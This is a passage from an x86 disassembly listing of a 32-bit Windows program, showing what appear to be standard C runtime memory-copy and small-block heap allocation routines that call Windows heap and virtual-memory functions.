[edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402B5C: ; CODE XREF: sub_4029C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_402B90 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_402B84 std rep movsd cld jmp ds:off_402CA8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_402B84: ; CODE XREF: sub_4029C0+1B5j ; sub_4029C0+210j ... neg ecx jmp ds:off_402C58[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_402B90: ; CODE XREF: sub_4029C0+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_402BA8 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_402BA8+4[eax*4] ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_4029C0+1DAj ; DATA XREF: sub_4029C0+1E1r jmp ds:off_402CA8[ecx*4] ; --------------------------------------------------------------------------- align 10h mov esp, 0E000402Bh sub eax, [eax+0] or [eax+eax*2], ch add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_402B84 std rep movsd cld jmp ds:off_402CA8[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_402B84 std rep movsd cld jmp ds:off_402CA8[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_402B84 std rep movsd cld jmp ds:off_402CA8[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_402C5C dd offset loc_402C64 dd offset loc_402C6C dd offset loc_402C74 dd offset loc_402C7C dd offset loc_402C84 dd offset loc_402C8C off_402C58 dd offset loc_402C9F ; DATA XREF: sub_4029C0+1C6r ; --------------------------------------------------------------------------- loc_402C5C: ; DATA XREF: sub_4029C0+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_402C64: ; DATA XREF: sub_4029C0+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_402C6C: ; DATA XREF: sub_4029C0+284o mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_402C74: ; DATA XREF: sub_4029C0+288o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_402C7C: ; DATA XREF: sub_4029C0+28Co mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_402C84: ; DATA XREF: sub_4029C0+290o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_402C8C: ; DATA XREF: sub_4029C0+294o mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_402C9F: ; CODE XREF: sub_4029C0+1C6j ; DATA XREF: sub_4029C0:off_402C58o jmp ds:off_402CA8[edx*4] ; --------------------------------------------------------------------------- align 4 off_402CA8 dd offset loc_402CB8 ; DATA XREF: sub_4029C0+1BBr ; sub_4029C0:loc_402BA8r ... dd offset loc_402CC0 dd offset loc_402CD0 dd offset loc_402CE4 ; --------------------------------------------------------------------------- loc_402CB8: ; CODE XREF: sub_4029C0+1BBj ; sub_4029C0:loc_402BA8j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_402CC0: ; CODE XREF: sub_4029C0+1BBj ; sub_4029C0:loc_402BA8j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_402CD0: ; CODE XREF: sub_4029C0+1BBj ; sub_4029C0:loc_402BA8j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402CE4: ; CODE XREF: sub_4029C0+1BBj ; sub_4029C0:loc_402BA8j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4029C0 endp ; --------------------------------------------------------------------------- push 140h push 0 push ds:dword_407760 call ds:dword_405084 ; RtlAllocateHeap test eax, eax mov ds:dword_407518, eax jnz short loc_402D1A retn ; --------------------------------------------------------------------------- loc_402D1A: ; CODE XREF: seg000:00402D17j mov ecx, [esp+4] and ds:dword_407510, 0 and ds:dword_407514, 0 mov ds:dword_407520, eax xor eax, eax mov ds:dword_40751C, ecx mov ds:dword_407524, 10h inc eax retn ; =============== S U B R O U T I N E ======================================= sub_402D45 proc near ; CODE XREF: sub_4028F6+13p ; sub_403B37+48p ... arg_0 = dword ptr 4 mov eax, ds:dword_407514 lea ecx, [eax+eax*4] mov eax, ds:dword_407518 lea ecx, [eax+ecx*4] jmp short loc_402D69 ; --------------------------------------------------------------------------- loc_402D57: ; CODE XREF: sub_402D45+26j mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_402D6F add eax, 14h loc_402D69: ; CODE XREF: sub_402D45+10j cmp eax, ecx jb short loc_402D57 xor eax, eax locret_402D6F: ; CODE XREF: sub_402D45+1Fj retn sub_402D45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D70 proc near ; CODE XREF: sub_4028F6+1Fp ; sub_403B37+9Cp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_403084 push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_402E3B sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_402DD3 push 3Fh pop edx loc_402DD3: ; CODE XREF: sub_402D70+5Ej mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_402E1D cmp edx, 20h mov ebx, 80000000h jnb short loc_402DFE mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_402E1A mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_402E1A ; --------------------------------------------------------------------------- loc_402DFE: ; CODE XREF: sub_402D70+73j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_402E1A mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_402E1A: ; CODE XREF: sub_402D70+85j ; sub_402D70+8Cj ... mov ebx, [ebp+arg_4] loc_402E1D: ; CODE XREF: sub_402D70+69j mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_402E3B: ; CODE XREF: sub_402D70+55j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_402E49 push 3Fh pop edx loc_402E49: ; CODE XREF: sub_402D70+D4j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_402EE7 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_402E6E mov ebx, esi loc_402E6E: ; CODE XREF: sub_402D70+FAj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx cmp edx, esi mov [ebp+var_4], ecx jbe short loc_402E80 mov edx, esi loc_402E80: ; CODE XREF: sub_402D70+10Cj cmp ebx, edx jz short loc_402EE2 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_402ECA cmp ebx, 20h mov esi, 80000000h jnb short loc_402EB0 mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_402ECA mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_402ECA ; --------------------------------------------------------------------------- loc_402EB0: ; CODE XREF: sub_402D70+127j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_402ECA mov ecx, [ebp+arg_0] and [ecx+4], esi loc_402ECA: ; CODE XREF: sub_402D70+11Dj ; sub_402D70+137j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_402EE2: ; CODE XREF: sub_402D70+112j mov esi, [ebp+arg_4] jmp short loc_402EEA ; --------------------------------------------------------------------------- loc_402EE7: ; CODE XREF: sub_402D70+E2j mov ebx, [ebp+arg_0] loc_402EEA: ; CODE XREF: sub_402D70+175j cmp [ebp+var_C], 0 jnz short loc_402EF8 cmp ebx, edx jz loc_402F78 loc_402EF8: ; CODE XREF: sub_402D70+17Ej mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_402F78 mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp edx, 20h mov [edx+eax+4], cl jnb short loc_402F4F cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_402F3E mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_402F3E: ; CODE XREF: sub_402D70+1BEj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_402F78 ; --------------------------------------------------------------------------- loc_402F4F: ; CODE XREF: sub_402D70+1B8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_402F65 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_402F65: ; CODE XREF: sub_402D70+1E3j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_402F78: ; CODE XREF: sub_402D70+182j ; sub_402D70+1A6j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_403083 mov eax, ds:dword_407510 test eax, eax jz loc_403075 mov ecx, ds:dword_407528 mov esi, ds:dword_40506C push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi ; VirtualFree mov ecx, ds:dword_407528 mov eax, ds:dword_407510 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, ds:dword_407510 mov eax, [eax+10h] mov ecx, ds:dword_407528 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, ds:dword_407510 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, ds:dword_407510 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_403006 and dword ptr [eax+4], 0FFFFFFFEh mov eax, ds:dword_407510 loc_403006: ; CODE XREF: sub_402D70+28Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_403075 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, ds:dword_407510 push dword ptr [eax+10h] push 0 push ds:dword_407760 call ds:dword_405070 ; RtlFreeHeap mov eax, ds:dword_407514 mov edx, ds:dword_407518 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, ds:dword_407510 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_404410 mov eax, [ebp+arg_0] add esp, 0Ch dec ds:dword_407514 cmp eax, ds:dword_407510 jbe short loc_40306B sub [ebp+arg_0], 14h loc_40306B: ; CODE XREF: sub_402D70+2F5j mov eax, ds:dword_407518 mov ds:dword_407520, eax loc_403075: ; CODE XREF: sub_402D70+223j ; sub_402D70+29Aj mov eax, [ebp+arg_0] mov ds:dword_407510, eax mov ds:dword_407528, edi loc_403083: ; CODE XREF: sub_402D70+216j pop ebx loc_403084: ; CODE XREF: sub_402D70+37j pop edi pop esi leave retn sub_402D70 endp ; =============== S U B R O U T I N E ======================================= sub_403088 proc near ; CODE XREF: sub_403524+150p mov eax, ds:dword_407514 mov ecx, ds:dword_407524 push edi xor edi, edi cmp eax, ecx jnz short loc_4030CE lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push ds:dword_407518 push edi push ds:dword_407760 call ds:dword_40508C ; RtlReAllocateHeap cmp eax, edi jnz short loc_4030BD xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_4030BD: ; CODE XREF: sub_403088+2Fj add ds:dword_407524, 10h mov ds:dword_407518, eax mov eax, ds:dword_407514 loc_4030CE: ; CODE XREF: sub_403088+10j mov ecx, ds:dword_407518 push esi push 41C4h push 8 push ds:dword_407760 lea eax, [eax+eax*4] lea esi, [ecx+eax*4] call ds:dword_405084 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jnz short loc_4030F9 loc_4030F5: ; CODE XREF: sub_403088+9Bj xor eax, eax jmp short loc_40313C ; --------------------------------------------------------------------------- loc_4030F9: ; CODE XREF: sub_403088+6Bj push 4 push 2000h push 100000h push edi call ds:dword_405088 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_403125 push dword ptr [esi+10h] push edi push ds:dword_407760 call ds:dword_405070 ; RtlFreeHeap jmp short loc_4030F5 ; --------------------------------------------------------------------------- loc_403125: ; CODE XREF: sub_403088+89j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc ds:dword_407514 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_40313C: ; CODE XREF: sub_403088+6Fj pop esi pop edi retn sub_403088 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40313F proc near ; CODE XREF: sub_403524+15Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_403157 ; --------------------------------------------------------------------------- loc_403154: ; CODE XREF: sub_40313F+1Aj shl eax, 1 inc ebx loc_403157: ; CODE XREF: sub_40313F+13j test eax, eax jge short loc_403154 mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_403170: ; CODE XREF: sub_40313F+3Bj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_403170 push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call ds:dword_405088 ; VirtualAlloc test eax, eax jnz short loc_4031A3 or eax, 0FFFFFFFFh jmp loc_403240 ; --------------------------------------------------------------------------- loc_4031A3: ; CODE XREF: sub_40313F+5Aj lea edx, [edi+7000h] cmp edi, edx mov [ebp+var_4], edx ja short loc_4031F3 mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_4031BB: ; CODE XREF: sub_40313F+AFj or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_4031BB mov edx, [ebp+var_4] loc_4031F3: ; CODE XREF: sub_40313F+6Fj mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_403230 or [eax+4], edi loc_403230: ; CODE XREF: sub_40313F+ECj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_403240: ; CODE XREF: sub_40313F+5Fj pop edi pop esi pop ebx leave retn sub_40313F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403245 proc near ; CODE XREF: sub_403B37+63p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_4033E7 test bl, 1 jnz loc_4033E0 add ebx, ecx cmp esi, ebx jg loc_4033E0 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_4032BA push 3Fh pop ecx mov [ebp+var_8], ecx loc_4032BA: ; CODE XREF: sub_403245+6Dj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_403305 cmp ecx, 20h mov ebx, 80000000h jnb short loc_4032E6 shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_403305 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_403305 ; --------------------------------------------------------------------------- loc_4032E6: ; CODE XREF: sub_403245+85j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_403305 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_403305: ; CODE XREF: sub_403245+7Bj ; sub_403245+98j ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_4033CE mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi cmp edi, 3Fh lea ecx, [ecx+esi-4] jbe short loc_40333F push 3Fh pop edi loc_40333F: ; CODE XREF: sub_403245+F5j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_4033BC mov cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl cmp edi, 20h mov [edi+eax+4], cl jnb short loc_403393 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_40338B mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_40338B: ; CODE XREF: sub_403245+136j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_4033B3 ; --------------------------------------------------------------------------- loc_403393: ; CODE XREF: sub_403245+130j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_4033A9 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4033A9: ; CODE XREF: sub_403245+152j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_4033B3: ; CODE XREF: sub_403245+14Cj mov edx, 80000000h shr edx, cl or [eax], edx loc_4033BC: ; CODE XREF: sub_403245+11Ej mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_4033D1 ; --------------------------------------------------------------------------- loc_4033CE: ; CODE XREF: sub_403245+DEj mov edx, [ebp+arg_4] loc_4033D1: ; CODE XREF: sub_403245+187j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_40351C ; --------------------------------------------------------------------------- loc_4033E0: ; CODE XREF: sub_403245+50j ; sub_403245+5Aj xor eax, eax jmp loc_40351F ; --------------------------------------------------------------------------- loc_4033E7: ; CODE XREF: sub_403245+47j jge loc_40351C mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+arg_4], ebx mov [ebx-4], ecx jbe short loc_403412 push 3Fh pop esi loc_403412: ; CODE XREF: sub_403245+1C8j test byte ptr [ebp+var_4], 1 jnz loc_40349C mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_40342B push 3Fh pop esi loc_40342B: ; CODE XREF: sub_403245+1E1j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_403475 cmp esi, 20h mov ebx, 80000000h jnb short loc_403456 mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_403472 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_403472 ; --------------------------------------------------------------------------- loc_403456: ; CODE XREF: sub_403245+1F6j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_403472 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_403472: ; CODE XREF: sub_403245+208j ; sub_403245+20Fj ... mov ebx, [ebp+arg_4] loc_403475: ; CODE XREF: sub_403245+1ECj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_40349C push 3Fh pop esi loc_40349C: ; CODE XREF: sub_403245+1D1j ; sub_403245+252j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_403513 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jnb short loc_4034EA cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4034E2 mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_4034E2: ; CODE XREF: sub_403245+28Dj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_40350A ; --------------------------------------------------------------------------- loc_4034EA: ; CODE XREF: sub_403245+287j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_403500 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_403500: ; CODE XREF: sub_403245+2A9j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_40350A: ; CODE XREF: sub_403245+2A3j mov edx, 80000000h shr edx, cl or [eax], edx loc_403513: ; CODE XREF: sub_403245+275j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_40351C: ; CODE XREF: sub_403245+196j ; sub_403245:loc_4033E7j xor eax, eax inc eax loc_40351F: ; CODE XREF: sub_403245+19Dj pop edi pop esi pop ebx leave retn sub_403245 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403524 proc near ; CODE XREF: sub_40292E+17p ; sub_403B37+74p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov ecx, [ebp+arg_0] mov eax, ds:dword_407514 mov edx, ds:dword_407518 add ecx, 17h and ecx, 0FFFFFFF0h push ebx mov [ebp+var_10], ecx sar ecx, 4 push esi lea eax, [eax+eax*4] push edi dec ecx cmp ecx, 20h lea edi, [edx+eax*4] mov [ebp+var_4], edi jge short loc_403561 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_40356E ; --------------------------------------------------------------------------- loc_403561: ; CODE XREF: sub_403524+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_8], eax loc_40356E: ; CODE XREF: sub_403524+3Bj mov eax, ds:dword_407520 mov ebx, eax mov [ebp+var_C], esi cmp ebx, edi jmp short loc_403590 ; --------------------------------------------------------------------------- loc_40357C: ; CODE XREF: sub_403524+6Fj mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_403595 add ebx, 14h cmp ebx, [ebp+var_4] loc_403590: ; CODE XREF: sub_403524+56j mov [ebp+arg_0], ebx jb short loc_40357C loc_403595: ; CODE XREF: sub_403524+64j cmp ebx, [ebp+var_4] jnz short loc_4035BE mov ebx, edx jmp short loc_4035AF ; --------------------------------------------------------------------------- loc_40359E: ; CODE XREF: sub_403524+90j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4035B6 add ebx, 14h loc_4035AF: ; CODE XREF: sub_403524+78j cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_40359E loc_4035B6: ; CODE XREF: sub_403524+86j cmp ebx, eax jz loc_403652 loc_4035BE: ; CODE XREF: sub_403524+74j ; sub_403524+170j mov ds:dword_407520, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_4035E5 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_40361B loc_4035E5: ; CODE XREF: sub_403524+ABj mov edx, [eax+0C4h] and edx, [ebp+var_8] and [ebp+var_4], 0 lea ecx, [eax+44h] mov esi, [ecx] and esi, [ebp+var_C] or edx, esi mov esi, [ebp+var_C] jnz short loc_403618 loc_403601: ; CODE XREF: sub_403524+F2j mov edx, [ecx+84h] and edx, [ebp+var_8] inc [ebp+var_4] add ecx, 4 mov edi, [ecx] and edi, esi or edx, edi jz short loc_403601 loc_403618: ; CODE XREF: sub_403524+DBj mov edx, [ebp+var_4] loc_40361B: ; CODE XREF: sub_403524+BFj mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_4036A4 mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_4036A4 ; --------------------------------------------------------------------------- loc_403646: ; CODE XREF: sub_403524+131j cmp dword ptr [ebx+8], 0 jnz short loc_403657 add ebx, 14h mov [ebp+arg_0], ebx loc_403652: ; CODE XREF: sub_403524+94j cmp ebx, [ebp+var_4] jb short loc_403646 loc_403657: ; CODE XREF: sub_403524+126j cmp ebx, [ebp+var_4] jnz short loc_403682 mov ebx, edx jmp short loc_403669 ; --------------------------------------------------------------------------- loc_403660: ; CODE XREF: sub_403524+14Aj cmp dword ptr [ebx+8], 0 jnz short loc_403670 add ebx, 14h loc_403669: ; CODE XREF: sub_403524+13Aj cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_403660 loc_403670: ; CODE XREF: sub_403524+140j cmp ebx, eax jnz short loc_403682 call sub_403088 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_40369A loc_403682: ; CODE XREF: sub_403524+136j ; sub_403524+14Ej push ebx call sub_40313F pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_4035BE loc_40369A: ; CODE XREF: sub_403524+15Cj xor eax, eax jmp loc_40381B ; --------------------------------------------------------------------------- loc_4036A1: ; CODE XREF: sub_403524+182j shl ecx, 1 inc edi loc_4036A4: ; CODE XREF: sub_403524+111j ; sub_403524+120j test ecx, ecx jge short loc_4036A1 mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_4036C5 push 3Fh pop esi loc_4036C5: ; CODE 